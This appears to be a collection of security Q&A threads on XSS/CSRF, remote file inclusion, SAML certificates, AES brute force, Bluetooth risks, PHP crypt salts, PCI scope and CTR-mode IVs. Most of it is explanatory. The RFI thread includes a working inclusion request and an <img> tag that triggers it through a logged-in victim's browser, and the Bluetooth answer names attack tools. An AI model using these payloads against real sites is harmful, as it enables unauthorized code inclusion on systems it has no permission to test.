Since JavaScript is used these days both in front and back ends of applications, a plethora of vulnerabilities and issues are relevant and important to know while developing in JavaScript:

Cross Site Scripting (XSS) - Reflected, Stored and DOM based.
SQL and NoSQL injections
Authentication and password management issues
Session management issues
Access control issues
Unsafe use of cryptography - Hashing, Encryption, Decryption and Random number generators
Error Handling and Logging issues

To name a few... :)


Can postMessage be used to forward data to hacker's iframe in CSRF attack? Consider a user that has an open session to a legitimate site with a password on it. This page has no anti-CSRF token.

A hacker creates a webpage with 2 hidden iframes. One iframe does a GET on the page with the password and sends this password via html5 windows.postMessage() to another iframe (sourcing the attacker's site) which takes this password and sends it off to the hacker's site via a query parameter in an http get to a hacker's web service.

Via phishing attack, the hacker entices user with open session to click on the link for his webpage having these 2 iframes and steals the password.

Is this attack possible?

One iframe does a GET on the page with the password and sends this password via html5 windows.postMessage() to another iframe (sourcing the attacker's site) which takes this password and sends it off to the hacker's site via a query parameter in an http get to a hacker's web service.

postMessage is done with Javascript. This means one can not force a postMessage with just a CSRF attack unless the victim page is explicitly designed in a way, that arbitrary postMessage calls to cross-origin pages can be triggered by a simple POST or GET request. Instead the attacker would need the ability to inject script to trigger a postMessage, i.e. it needs Cross-Site-Scripting (XSS). But if XSS is possible there is usually no need to make it overly complex by using postMessage.


How can i demonstrate remote file inclusion via get methods I have been testing my PHP web application for RFI vulnerabilities. While performing scan I was able perform RFI in my web application.

Scenario:

In my web application RFI works only when the user's session was present. I need to demonstrate the RFI to developers.

Sample demonstration:

GET /cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
PE-Token: 346645c4fd373fa7f321ec5d3ecf486b4e122cc7-1457413695-1800
Referer: https://example.com/success
Cookie: __cfduid=d3e9d6b0485c45636f90caa652f60437d1456979567;

The response contains the uploaded file output.

Problem :

Now through the above vulnerability I was able to prove the RFI was present in the web application, but the problem is my developers are asking for the attack scenario which will help them to evaluate my bug.

What i tried :

I tried to exploit the web application with fimap through this we were able to demonstrate and exploit the webserver.

However, the main problem I faced during the test was I can't exploit if the user is not authenticated.

How else can I demonstrate the RFI vulnerability in my application?

If a logged-in user views a webpage (anywhere on the internet!) with the following HTML anywhere in it, then the vulnerability will be triggered. An attacker could send a link to a page containing this HTML to someone they know is logged in.

<img src="http://yourdomain.com/cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt">


why use a CA-signed key pair to encrypt SAML2 assertions? I have a customer who insists upon using only certificate-authority signed key-pair certificates for encrypting SAML2 assertions.

In this use case, I hold the private key in my Service Provider, and we furnish the public key to the Identity Provider.  For most customers using this mode of SAML2, they just accept the self-signed public key we provide.

To me it seems the trust relationship is between me (the SP operator) and the customer (the IdP operator) and a CA doesn't add anything to that trust relationship.

What am I missing about extra security provided by a signed certificate in this case?

I agree that self-signed certificates are sufficient, but the CA approach does add some incremental security in how that trust relationship is maintained, especially when you consider the rollover scenario.

Imagine this scenario:

OJones@sp.com sends a public key to TSmith@idp.com and the relationship is established
Two years later, TSmith@idp.com receives an email from GStevens@sp.com which says "I now manage the SAML configuration previously managed by OJones. Here is a new public key to replace the one that's expiring soon"

How do they know that GStevens is authorized to do this? If both old & new certificates are CA-signed, they can examine the properties and verify it was issued to the right organization. Some systems are also configured to trust based on CA issuer and properties.

This assumes, of course, that the SP organization has good control over its CA process.

It also assumes the public keys are being exchanged "out of band". Automatic metadata processing changes the risk calculations.


Use multiple computers for faster brute force I've watched Mr. Robot lately and can't stop thinking why it was so hard to decrypt files encrypted using AES encryption with a 256-bit key.
Let us say the only method to find the key is through brute force.
Can't we set a computer to brute force starting from the first possible key, and another to begin from the last possible key, and perhaps a few computers to try the keys in the middle?
Wouldn't that reduce time dramatically?

Sure it's possible, but it doesn't really help. The number of possibilities is just too large.

Consider that a 256-bit key has 2256 possible values. That's 12✕1076, or 12 followed by 76 zeroes. If we generously assume that a computer can test a trillion (that's 1012) possible keys a second, and that we have a trillion computers (where will we get them from?) performing the key search, it will take 12✕1076/(1012✕1012) seconds to search the entire keyspace. That's 12✕1052 seconds. As there are only 3,155,760,000 seconds in a century, it will take approximately 4✕1043 centuries to try all possible keys. There's a 50-50 chance that you'll find the key in only half that time.

That's the way encryption is designed. The number of possibilities are just too large to be cracked in time that is interesting for humans.


Is Tomcat protecting against CSRF correctly? If I read this correctly the way Tomcat protects against CSRF leaves it vulnerable to the situation where the CSRF token is duplicated in the cookie and request parameters which allows the attacker to simply invent a token (as detailed here under CSRF token is simply duplicated in a cookie). Am I right or missing something stupid?

You are correct, but this requires a specific and rather unusual behavior of the protected web application to work.

You are referring to the chapter "CSRF token is simply duplicated in a cookie" from the portswigger guide. Let me quote the essential part and highlight the crucial "if":

  In this situation, the attacker can again perform a CSRF attack if the web site contains any cookie setting functionality. Here, the attacker doesn't need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack.

Having a functionality that allows an attacker to set the cookie of another user is very uncommon and the actual use cases for such a functionality are limited. Yes, you can craft an artificial scenario, where this CSRF protection can be circumvented, but you will not find this in many applications in the wild.

Beside this important caveat, your analysis is correct.


IP-whitelisting for DB access, does solution fit best practices? All the data we have on our customers sits in our data-lake, which is hosted by one of our suppliers. Currently the security is such that a limited number of users has (limited) access to the database each with their user-name and password. In addition there is IP whitelisting, so authorized users can only log in to the db if they are coming from one of two IP addresses originating in our office.

Our company no longer uses VPN. As a consequence we only access this DB from the office not when working from home or from one of our suppliers.

The simplest/cheapest way to allow working from outside the office would be to ask the supplier to whitelist the range of IP addresses used by Symantec (= software security product that routes traffic through its proxies), because when we log in to our network from the outside we get one of these addresses.  But the upshot would be that every Symantec customer could potentially log into our DB, provided they somehow got hold of a user-name password combination. Someone intent on breaking in would only need to:

Guess the user names (a combination of first-name and last-name)
Get Symantec or ask someone our guest WiFi password and sit on our lawn using our wifi
Somehow get the password

Only step 3 is really hard.

If we got an extra server with a static (public) IP address and only allowed logging into the DB for users coming from this server, we would have an extra layer of security.
Am i correct in thinking this would be a good way of securing our data while making working from outside the office possible?

How do i convince management that whitelisting the entire Symantec IP range is dangerous, because it is dangerous, right?
Have there been breaches of this kind?

I'd really like to know what the best practices are for such cases and why.

Related question:
Why would DB with URL access be less secured than without such access?

VPN
Although your whole company no longer uses a VPN; you can still use a VPN. You can provision a VPN that is only used for this scenario:

Create a VPN server (plenty out there to choose from)
Connect the destination database server to that VPN as a client
Configure each company user to that VPN as a client
Each company user connects to the VPN when they want to access the database
It's now within your power to add further security features if you like. For example, with some VPN products you can require Duo Mobile 2FA.

In this situation, a VPN does three things:

Passage: makes the connection through firewalls and proxies end to end. This is what you needed the most.
Encryption: provides encrypted encapsulation
Auditing: logging of when clients connect to the VPN to approximate access.

Web Application Firewall
You aren't completely clear about how you View the "data-lake". Perhaps the user has a tool on their desktop; but if it's a web-application that is hosted by your provider, then I would recommend something like CloudFlare Access. With that you can login using your enterprise SSO.

With more context and information I may think of other solutions


Does someone have it out for me, or is this router "features"? Posted this on Netgear forums but decided to get insights here too:

I have an interesting problem here. Not sure if someone is trying to hack me, if this is some weird router behavior, or what is going on. I contacted my ISP, they confirm there is no capping on my plan.

I had a Netgear WNR2000v3 router. I purchased a R6400 replacement router because I was having the router frequently drop my LAN connectivity. What is interesting is a work router hangs off the Netgear, and that router does NOT lose Internet or even briefly drop the VPN - even though it drops everything else - my IP cameras (wired & wireless), and I was unable to log into the router from the desktop (wired). In fact, after restarting the router I was locked out from the 192.168.1.1 / routerlogin.net interface as it "forgot" my password. Hince why I bought the new router.

Well, after just 36 hours, and 20 GB of data downloaded - it happened again. on the R6400. Latest firmware - literally  - V1.0.1.18_1.0.15   - due to the whole CVE vulnerability I decided not to even risk having it hooked up until it was updated. Totally new Internet IP. Even set up new SSH keys. SSH is key only no password, so someone can't try brute force to get in.

This is particularly annoying because I tunnel SSH to my Linux box over the router, and the SSH session is completely down when it drops the LAN. The cable modem does not drop at all. I am a data hog so to speak - I wrote some shell scripts for my Linux box that downloads weather data from the National Weather Service public servers - on the order of ~20 GB/day / 500-750 GB/month. NOTE - This problem started about a week after I increased my downloading from 2 GB/day to 20 GB/day.

From a weird perspective, it's almost like someone is trying to "knock my LAN offline" - or these routers have some "data abuse prevention" built in to prohibit heavy data use. I do have the Traffic Meter turned on to monitor data use, but it's set to no limit and no monthly limit. Again, ISP has absolutely no cap - Spectrum, formerly Road Runner. Or at least, they "tell me that" - they could be sending some kill packet for all I know?

Router logs are useless - the second it drops the WAN and I have to reboot, the logs reset. I can't get into the router at all when it does this behavior. I used my cell phone to run nmap on my Internet facing IP - it's locked down to only the port I need open for SSHing to my Linux gaming/programming rig.

I am thinking of trying to get a tcpdump running next time I get near the 20 GB "threshold" to see what may be happening.

I found out the problem several months ago. I had a lot of scripts which were downloading data. When the Internet was breifly unavailable these scripts had the curl -retry flag set to 5. Due to the nature of curl delaying the retry exponentially, it created a fork bomb which in turn crashed the network stack. -retry was set to 0 and the problem resolved it's self.


What skills will I need to learn for a 'Security Analyst' job role? What skills will I need to learn for a 'Security Analyst' job role?

By this, I mean someone who monitors the network to uncover compromised systems.

I believe this is similar to working in a Blue Team.

The exact details of a particular analyst position are going to vary from job req to job req. The best thing you can do is look at what various positions are requiring as background knowledge and become proficient in these functional areas.

To get you started, here is a job for one of our analyst positions, I think it's a good primer to get you started.

  Demonstrable Skills and Capabilities

  Strong interpersonal, organizational, communication, and writing
  skills

  Being an Analyst means engaging with clients; meeting their
  objectives and communicating the details associated with potential
  threats is critical to success. You must be the expert in the room,
  and able to communicate and support your recommendations.

  Independent investigative skills

  The Analyst must be able to make sense of the
  technical information at their disposal. This includes the capability
  to investigate technical elements they might never have seen before.
  While senior personnel are available to provide assistance it's up to
  the Analyst to investigate the issue prior to escalation.

  Required Technical Skills

  Working knowledge of the TCP/IP suite of protocols
  Conceptual
  knowledge of network and systems architecture
  Network segmentation
  (e.g., DMZ)
  Intrusion Detection Systems
  Web application architecture
  Active Directory Solid understanding of how major application layer
  protocols function (e.g., HTTP, SMTP, DNS)
  Basic knowledge of categories of malware and how they function (e.g., rootkits, trojans, adware)
  Conceptual understanding of vulnerabilities and attack vectors
  such as: SQL Injection Brute force attacks Portscans Malware infection
  vectors Phishing attacks Driveby/Redirection attacks

  Optional Skills

  Certifications are always a plus, but not required:

  CISSP
  GCIH
  GCIA
  GSEC

  Programming/Scripting (e.g., Perl, Python, Ruby) Network traffic
  analysis skills Comfortable in multiple operating systems (Windows,
  Linux, Unix, OSX)


XTS vs AES-CBC with ESSIV for file-based filesystem encryption In a blog post I recently read called "You Don't Want XTS," the author explains some of the pitfalls of using XTS to encrypt filesystems. Specifically, he recommends against ever sharing encrypted file-based filesystems over services like Dropbox when the file-based disk is encrypted in XTS.

Since TrueCrypt offers a fairly easy way to create encrypted file-based filesystems, I've used it in the past for keeping things safe when I need to transport around a filesystem on a thumb drive or over the internet.

Seeing as dm-crypt uses AES-CBC with an ESSIV by default instead of XTS, does it fall victim to the same vulnerabilities as TrueCrypt does in XTS?

The criticisms about XTS make sense in a context when attackers can observe successive versions of the encrypted disk (i.e. the attacker steals your laptop, makes an image of the whole disk, then puts the laptop back in your bag, and you did not notice anything; and he does it again tomorrow, and the day after tomorrow, and so on...). With XTS, every 16-byte block gets encrypted by itself, so the attacker may notice when two successive versions of the same encrypted block (the same 16-byte block within the same sector of the harddisk) contain the same data. This potentially allows for traffic analysis. If the attacker goes active, then he can put back an old version of any block, and can do so for all blocks independently.

With CBC+ESSIV, each sector has its own IV, so our recurring attacker can notice when a new version of a sector begins with the same sequence of blocks as a previous version. CBC is such that if two plaintext blocks differ at some point in a sector, the remaining blocks in that sector will diverge. In that sense, compared to XTS, the attacker's abilities for traffic analysis of CBC+ESSIV are reduced. For instance, if two versions of a given sector use the same plaintext value for the 13th block, this will be apparent with XTS, not so with CBC (unless the versions for the 12 previous sectors are also unchanged).

On the other hand, an active attacker is often happier with CBC, because he can alter bits at will within a block (provided that he does not mind replacing the previous block with uncontrollable random junk).

So no, dm-crypt does not have the exact same vulnerabilities as TrueCrypt. The envisioned scenarios (repeated eavesdropping of the same disk, hostile alterations...) are not the primary goal of full-disk encryption; really, FDE was meant for the "stolen laptop" situation, in which you don't get it back, ever. Neither solution behaves well against a more industrious attacker, but they don't fail in exactly the same ways.


Disposable ip addresses Is there an internet provider that assigns a random ip address when you connect to the internet and disposes of it when you disconnect?

No not really.

You either get a static or dynamic IP.  Obviously static isn't want you want.  However, dynamic IP assign by dhcp are not random.  Each IP in has purchase 1 or more ranges of IP addresses.  Typically handed out by region.

There is a dhcp leases, and when the lease expires it tries to get a new IP, however 99% of the time it just gives you the same one back.

When you disconnect, and later reconnect you get an IP from the pool.  The range of IP is limited, and way to limited to be called random.  Plus some ISP may log these devices.

Disposes, as in never to be re-used by anyone, nope never there are just to few IPv4 left to ever allow an IP to go unused.

Disposed of, as in you never use it again, again IPv4 is too small to allow this.  Chances are in you will eventually get the same IP back again.

Now, IPv6 has 2^128 address vs 2^32.  You might be able to buy blocks of IPv6 and after you used them once resell them and get a different block.  This however, is a lot of work, and records are kept so it wouldn't get you any anonymity.

Also 90% of the internet is IPv4 so if you have an IPv6 nobody on IPv4 can easily communicate with you.  They could get a VPN, but your typically user isn't going to do that just to visit your site.


Resources for building a network security curriculum I am currently helping my teacher create a curriculum around IT Security because it isn't currently implemented.  Some previous question had decent responses but I was wondering if there was more. My goal is by the end of the class we can set up a server and have a Red vs. Blue competition to see which team can defend and attack the best. I've looked into Damn Vulnerable Linux and found it might be useful however I'm very sure there are some better resources out there. Has anyone found some?

Highschool

Have you looked into the CyberPatriot program?  http://www.uscyberpatriot.org/Pages/default.aspx  It's a "secure the platform" high school competition that focuses on defense instead of offense.  It's all set up and ready for schools to get involved.

For training, they provide virtual machine images that students can learn on and practice securing.  The installations are full of known exploitable flaws, with default passwords, open ports, inappropriate ACLs, guest accounts, extra services, unpatched web servers, all that kind of stuff.  Offense takes place from a black box service that attempts to exploit the system, and provides a score to tell you that you secured 15 out of 80 known holes (or whatever).

For the contest, they provide encrypted virtual machine images that you download in advance.  At the start of the contest, the teams are given the decryption keys, and then have a set amount of time to secure as many problems as they can find before the scoring agent is set upon them.  The different stages of the contest have increasingly difficult tasks:  round one might be to secure a Windows XP box, the next to secure a Windows 2008 server, and the final might be to secure a Linux/Windows network consisting of three servers.  The competition is nationwide, with the final qualifying teams getting to travel to the national competition.

The black box attacker approach puts the emphasis on defense, and keeps the contest focused on practical application of the knowledge, rather than being a training ground for hacking.  You still need to know what a SQL injection attack is, and how it works, but you don't have to practice them, and your team gets no points for being good at them.

It's already over for the 2012-2013 school year, but you can preregister a team or a school for next year.


Is it possible to build completely verifiable hardware? Reproducible builds like they are used for Bitcoin, Tor or the Debian package repository aim at making sure that the binaries you install exactly equate the source code that they are supposed to be compiled from. This way, one tries to make sure that the software does not have any backdoors that were silently inserted during the compilation process.

Can something like this be achieved for hardware components like motherboards and especially CPUs?

If one was to build a completely open piece of hardware (meaning that all the design documents are open and everybody could build it themselves from scratch if they had the needed tools, see RISC-V), would there be a way to "prove" or practically make sure that a given piece of hardware is exactly how the open documents describe it to be? Could you somehow verify that the component has not been tampered with during the manufacturing process?

Not really, or at least it is very hard.

Recently a research paper on Stealthy Dopant-Level Hardware Trojans was published which shows how to include a Trojan into hardware that is so hard to detect that even if we optically compared the chip to a non-tampered unit we wouldn't find it. Read the abstract of the paper for an overview and if you want to know more about the methods of verification that are used and can be circumvented then read of the whole thing.

If there was an open source chip that is being produced by companies A and B that had the same blueprints and then one of the companies decided to include a dopant-level trojan, then a user has almost no possibility of detecting the trojan. The tools for testing are expensive (like electron microscopes ie. really expensive) and still might fail. Hardware trojans get triggered by very rare circumstances they are almost impossible to find using functional testing.

This level of hardware trojans have not been seen in the wild yet. It might be that they don't exist, but it might also be that they have not been detected or their disclosure has not been public.


What can an attacker do with Bluetooth and how should it be mitigated? What are the security risks of Bluetooth and what technologies and best practices should be used to protect my device? What can an attacker do once a malicious device is paired with mine?

Specifically

Is it a good idea to remove & re-pair my devices on a set interval (thinking that this is changing the Bluetooth PIN)
What is the security impact of making my device or computer "discoverable"?
What kind of access does a Bluetooth enabled device get on my system?
How can I control the scope of access a Bluetooth device has?  (if my phone were compromised I'd want to limit the exposure my PC has)
Are there Bluetooth security features that may (or may not be enabled)?  How can I audit for the presence (or lack of) these features?
Assuming encryption is a security feature that can be enabled, is it required or is it optional?  (moreover could an SSL Strip for Bluetooth be created?)

I'm interested in information that addresses mobile phones (iOS), OSX, Windows, and Linux operating systems

(Note: This answer is from 2013. A lot has changed in Bluetooth since then, especially the sharp rise in BLE popularity, new attacks, deprecated features. Having that said, most of it is still applicable.)
Introduction
I'll try to the best of my knowledge to approach your questions without touching the technical parts of the Bluetooth technology itself. I've learned a lot of the following while I had to write a security report to shape a BYOD policy. Knowing you, I won't have to lecture you on that there's nothing 100% secure, everything we do is just to make it harder for the bad guys.
What Bluetooth is NOT

Bluetooth itself as a technology isn't secure, it's not only about the implementation, there are some serious flaws in the design itself.

Bluetooth isn't a short range communication method - just because you're a bit far doesn't mean you're safe. Class I Bluetooth devices have a range up to 100 meters.

Bluetooth isn't a mature communicate method (security-wise). With smart phones, it has turned into something totally different from what it was meant to be. It was created as a way to connect phones to peripherals. My advice: Don't use Bluetooth for anything serious.

How is Bluetooth being secured now?

Frequency hopping like crazy: Bluetooth uses something called AFH (Adaptive Frequency Hopping). It basically uses 79 channels in the 2.4 Ghz ISM band and it keeps hopping between them on a rate of 1600 hops/s, while observing the environment and excluding any existing frequencies from the hopping list. This greatly reduces interference and jamming attempts.

E0 cipher suite: Uses a stream cipher with a 128-bit key.

Undiscoverability: Unless you set your device to "discoverable" it won't respond to scanning attempts and your 48-bit BD_ADDR (the address that identifies your Bluetooth-enabled device) won't be revealed.

Pairing: Unless the devices are paired with the parties' consent they won't be able to communicate. A pairing request can only be made if you know the other device's BD_ADDR (through scan or previous knowledge).

Is it a good idea to remove & re-pair my devices on a set interval
(thinking that this is changing the Bluetooth PIN)

Yes. It's a very good idea. You're eliminating the risks of being exploited by your trusted devices. Given that we usually pair devices for insignificant reasons (sending a file to an acquaintance, getting a VCard from a person you met somewhere..) it's very likely to build a huge list of "trusted" devices if you use Bluetooth a lot.

What is the security impact of making my device or computer
"discoverable"?

The problem with making your device discoverable is that you're advertising your BD_ADDR to anybody asking for it. The only way to pair with another device is by knowing the BD_ADDR. In a targeted attack, it's gonna take some time to brute-force the 48-bit BD_ADDR.
In the normal case, knowing your BD_ADDR shouldn't be a big problem, but in case there's a vulnerability in your phone or the Bluetooth software on your computer, it's better to be under the radar. Another problem is the impact on privacy; by being discoverable you're letting unpaired (untrusted) parties know when you're around.

What kind of access does a Bluetooth enabled device get on my system?

In the normal case (no vulnerability to allow arbitrary code execution) it all depends on the Bluetooth profiles supported by your device. Usually, you can assume that your computer supports all profiles. I'll just list a few:

BHIDP (Bluetooth Human Interface Device Profile) will give access to your mouse and keyboard event firing (moving the mouse and sending keyboard keys).
BIP (Basic Imaging Profile) will give access to your camera.
A2DP (Advanced Audio Distribution Profile) will give access to your MIC and to your audio output.
OBEX (OBject EXchange) is what you usually need to worry about. Depending on the implementation, it could give access to your files, phonebook, messages, etc.

Are there Bluetooth security features that may (or may not be
enabled)? How can I audit for the presence (or lack of) these
features?

Prior to Bluetooth V2.1, when implementing the protocol itself, the developer has the options to use Security Mode #1, which means no security at all. Devices are allowed to communicate without the need of pairing, and encryption isn't used.
Bluetooth V2.1 and newer require encryption.
As a user, there are a few things you can do to make your Bluetooth usage more secure. (See below)

Assuming encryption is a security feature that can be enabled, is it
required or is it optional?

As in the previous question, it's implementation-dependeant. Usually encryption is used by default in PC-PC, smartphone-smartphone, and PC-smartphone communication. As of Bluetooth V2.1, encryption is enabled by default.

What can an attacker do once a malicious device is paired with mine?

Basically, anything that your device supports. To demonstrate this, just use an application called Super Bluetooth Hack, you'll see very scary things including:

- Ringing: playing sounds of incoming call, alarm clock.
- Calls: dialing number, ending a call.
- Keys, Pressed keys: pressing and watching pressed keys
- Contacts
- Reading SMS
- Silent mode: turning on or off
- Phone functionality: turning off the network / phone
- Alarms
- Clock: change date and time
- Change network operator
- Java: start, delete java applications
- Calendar
- Memory status
- Keylock

So what's wrong with Bluetooth?

Complete trust in the paired device: A paired device has access to virtually all of the profiles supported by the other device. This includes OBEX and FTP (File Transfer Profile).

Profiles have too much freedom: Profiles are allowed to choose whatever security mode they want. You're even able to implement your own version of OBEX without Bluetooth requiring you to use encryption or authentication at all. (Prior to Bluetooth V2.1)

Weaknesses in E0: Since 1999, E0 vulnerabilities started to show. It was proven that it's possible to crack E0 with 264 rather than the 2128 previously believed. Year after year, researchers have discovered more vulnerabilities, leading to the 2005 attack by Lu, Meier and Vaudenay. The attack demonstrated the possibility to recover the key with 238 operations.

Pairing is loosely defined: Devices are allowed to implement their own pairing methods, including a 4-digit PIN which can be cracked in no time.

Finally, for good practice guidelines:
I'll list some of the important NSA Bluetooth Security Recommendations (I've modified some of them and added some of my own):

Enable Bluetooth functionality only when necessary.
Enable Bluetooth discovery only when necessary.
Keep paired devices close together and monitor what's happening on the devices.
Pair devices using a secure long passkey.
Never enter passkeys or PINs when unexpectedly prompted to do so.
Regularly update and patch Bluetooth-enabled devices.
Remove paired devices immediately after use.

Update: An hour ago I was diving in the Bluetooth V4.0 specs, and, to my surprise, it appears they're still using E0 for encryption, and there were no good changes to the pairing mechanism. What's even worse is that they're pushing forward the number-comparison pairing mechanism, in which the users are shown a six-digit number on the two devices and asked to verify if they're the same. Which, in my opinion, opens huge doors for social engineering attacks.

For pairing scenarios that require user interaction, eavesdropper protection makes a simple six-digit passkey stronger than a 16-digit alphanumeric character random PIN code.

Source
Update 2: It seems like this "Just Works" 6-digit PIN is indeed problematic. Mike Ryan has demonstrated an attack on BLE and released the code as his tool "crackle" to brute-force the temporary key and decrypt the traffic.


php crypt - trailing dollar sign - extract only the salt part from hash - padding the salt I am reading up on PHP's crypt() function. I have a few questions on it -

What is the significance of the trailing '$' sign at the end of the salt string that I see in most examples. The manual doesn't specifically say anything about ending the salt string with it.
Is there anyway I can extract only the salt portion from the hash? I know that I probably don't need to, since the crypt() function will internally do it when doing a comparison. But just for the heck of it. Just for me to see the salt. For egs consider this code

$pass = 'secret';
$salt = '$2y$07$usesomesillystringforsalt$';
echo crypt($pass, $salt);

The output of this is $2y$07$usesomesillystringforex.u2VJUMLRWaJNuw0Hu2FvCEimdeYVO and I am unsure about the boundary between the salt and the hash.  Is the 'e' in the 'forex' sub string part of the salt or the hash? It would be much easier if I could just extract the salt part of it.
Also the crypt() manual says

  ... Blowfish hashing with a salt as follows: "$2a$", "$2x$" or "$2y$", a two digit cost parameter, "$", and 22 characters from the alphabet "./0-9A-Za-z"....

As per this I expect 22 characters after the $ sign following the cost parameter. But consider this code

$pass = 'secret';
$salt = '$2y$07$somesillystring$';
echo crypt($pass, $salt);

The output of this is $2y$07$somesillystring$$$$$$.O6JLPmGlDvy4BicGmkuBD.DN8OYiIoG. My question is why is it padded only up to 21 characters following the $ sign after the cost parameter. I was expecting it to be padded up to 22 characters.

The 22 characters it requires are actually encoded binary data that is used for the salt. Bcrypt/Blowfish/$2y$ only uses the first 128 bits of your 132 bits, so the last four bits are totally ignored and should not be a dollar sign because that is not a valid character for the modified base64 encoding that is used for the salt. What has happened is you specified too short a salt, so it was padded with $ so the system knows the salt has ended. The reason it ends up being a . is because since only the first four bits are used, the last four are padded with zeroes before the beginning of the encoded hash. A . is all zeroes in this base64 type encoding and because there's no previous value to affect the first four bits of the 22nd character, you end up with just the .. As an aside it does make me wonder why they chose to use dollars instead of . to represent the missing salt - perhaps just to differentiate between actually asking for zeros in the salt and the automatic decision to pad with them.

$pass = 'secret';
echo crypt($pass, '$2y$07$notlongenough'), "\n";
echo crypt($pass, '$2y$07$longenoughsortof......');

> $2y$07$notlongenough$$$$$$$$.uYiNG9WczQSWgnuPdcNj0jugGbSnaAC
> $2y$07$longenoughsortof......9dPQFbAgDCQ4RWEcZ4/ficmGapMNSpC

It only makes sense to provide one of: ., O, e, or u for the last character of the salt because these are the only characters in the encoding set that actually affect the first four bits. FYI the full range is [./A-Za-z0-9] in that order, so if you number them 0-63 and look at the binary expression of those numbers you'll see where those four characters come from.

The examples seems to erroneously use trailing dollars. They are not needed and indeed shouldn't really be present. All you need to do is provide enough bits for the salt depending on the algorithm you're using. Every character should be as random as possible up until enough bits have been provided (i.e. a minimum of 22 characters for Blowfish/$2y$).

The output is then a concatenation of: algo-description, salt used and hashed result/password. The algorithm knows the binary boundaries of where the salt ends and the hashed string begins. There should not be any dollar signs with $2y$ because you should have provided a long enough salt string which will not consist of any dollar signs (again, because that is not in the valid character range for the utilised modified base64 encoding).

This should be enough information for you to extract the salt if you so desire. But PHP actually recommends the use of password_hash, as do I if you have v >=5.5.0 http://in1.php.net/manual/en/function.password-hash.php.

This will automatically generate a secure random salt for you using either /dev/urandom or  CryptGenRandom() on Windows - both well vetted to be sufficient for this purpose. If you've already started using crypt, password_hash is compatible so fear not about upgrading to use it.


Why doesn't the client's web browser need to be PCI compliant? A hypothetical online store that accepts credit card payment will have to be PCI compliant because it receives (transmit), process and possibly store credit card numbers.

But the client's web browser is also transmitting a credit card number, albeit on a secure connection, but after receiving in plain text from the keyboard.

We can't make every browser out there PCI compliant, but I can't find any reference in the specification.

Where is it written that a client's web browser need not be PCI compliant ?

Well, first, what is written is the following: payment card companies are requiring merchants to be PCI-DSS compliant. PCI-DSS does not apply to anybody who doesn't process credit card transactions. The DSS requirements specify access control, logging, etc. None of this is applicable to a cardholder.

Clients do not have the same contracts as merchants. There is no benefit in trying to log activity on a client machine. Individual card numbers are likely to be stolen in many places, and the cost / benefit on forensic analysis of one person's computer for their one lost credit card is somewhere below sane. Finally, people just won't accept that. If using a credit card is too hard, card issuers will see decreased volume.


Does there exist software that will scan a filesystem for possible files containing PHI? I don't need a list of software (I know shopping questions are off topic), but my google-fu is failing me at this. Basically looking for software that will scan a filesystem looking for files that may contain Protected Health Information. Target OS doesn't really matter right now, if someone has a search term I could use that would also help.

You probably want to look at two classes of products: Data Leakage Protection (DLP) and intrusion detection systems (IDS). To detect ePHI on a system, you are more or less going to be checking for some common things based upon patterns. For example, in your EMR if you identify patients using a 10 digit code that starts with 4 letters followed by 6 numbers, you would configure the tool to look for that pattern. However, ePHI may not always be so high level, you may need to look for descriptive patterns as well such as "patient test results", etc.

One concerns would be looking inside proprietary apps or files, as well as binary only files that need a special tool to be read. Furthermore, you need to be able to do image reading and possibly OCR.

You may also want to look into web filtering, email rule detection, etc. Health practitioners may email files or notes outside of the EMR which could lead to exposure.

Detecting what is already out there is going to be a pain, because likely no one cared before. If you can get these modules built into EMR or other tools which can be more easily controlled it will save you time in the long run. You can also look at locked down environments, limit tools, etc.

There are lots of vendors in this space who are selling things for HIPAA (as they actually start enforcing HIPAA, there will be more vendors willing to sell you products). You could try just running basic regex search tools against each host (e.g., agent ransack), but that could be a pain.

There are some free tools, like spider and MyDLP, that can help with PII detection, but may not be out of the box set for HIPAA.

Websense offers a product for HIPAA DLP:

  Data Loss Prevention (DLP) solutions are essential to compliance with
  these requirements but must exhibit the following key attributes. They
  must:

  Provide visibility into ePHI content across multiple usage
   scenarios including email, Web, endpoint applications, peripheral
   storage, and enterprise storage systems. This helps satisfy many HIPAA
   security rule and HITECH Act requirements for ePHI disclosure by
   detecting breaches as they occur.

  Exert control by enforcing encryption of ePHI in common business
   processes such as email and storage in databases. Prevent the breach
   in the first place by blocking its transmission via email and Web, or
   block copy from end-user applications to peripheral devices. Simplify
   enforcement using policy templates and reporting, which is both built
   in and customizable.


Do IVs need to be unpredictable? I am encrypting a sequence of messages with AES/CTR.
For each sequence, I generate a random initial IV, say IV(0).
Define IV(i) = MD5(IV(i - 1)) for i = 1, ..., n.
Then for each message m(i),
I transmit IV(i) . e(key, IV(i), m(i)) over the channel,
where . denotes the append operation and e(.) is the encryption function.
In other words,
the IV of each message is derived from the previous IV by applying a hash function and
I transmit the IVs along the cypher text.
Therefore,
the IVs are distinct (with high probability),
but predictable,
if you have the previous one.

Is there any problem with this encryption scheme?

Edit:

I have to use CTR, because of some implementation constraints.
I want to store the encrypted data on an insecure storage device and decrypt it back, once I retrieved the information.
Confidentiality is my top priority.
Integrity or malleability of the message are of less importance.
In fact,
the content of the messages are compressed version of some highly structured files.
That is, modifying a few bytes of the cipher text without knowing the whole plaintext ruins the integrity of the message.
So, I assume the structure of the file imposes some sort of integrity.

With CTR mode, IVs do not have to be unpredictable or random. However, they must be unique for a given key -- reusing an IV is a fatal flaw for CTR mode. It's perfectly fine for the IV to just be i (padded out to the appropriate length); it's even fine for you to call up your mortal enemy and ask them what IV you should use for your message, provided that you check that you haven't previously used the IV; as long as you check that, there is nothing that they can do to compromise your encryption. And given that, you need more than "high probability" -- you need virtual certainty (for GCM, NIST specifies a 2^-32 probability that you ever reuse key and IV, and allowing even that is because that's acceptably unlikely and lets you get away with some randomness). A decent way would be to have the first 32 bits be unique to the sequence of messages (say, a counter value for the sequence), and the next 32 be an index of the message within the sequence, also being a counter value.

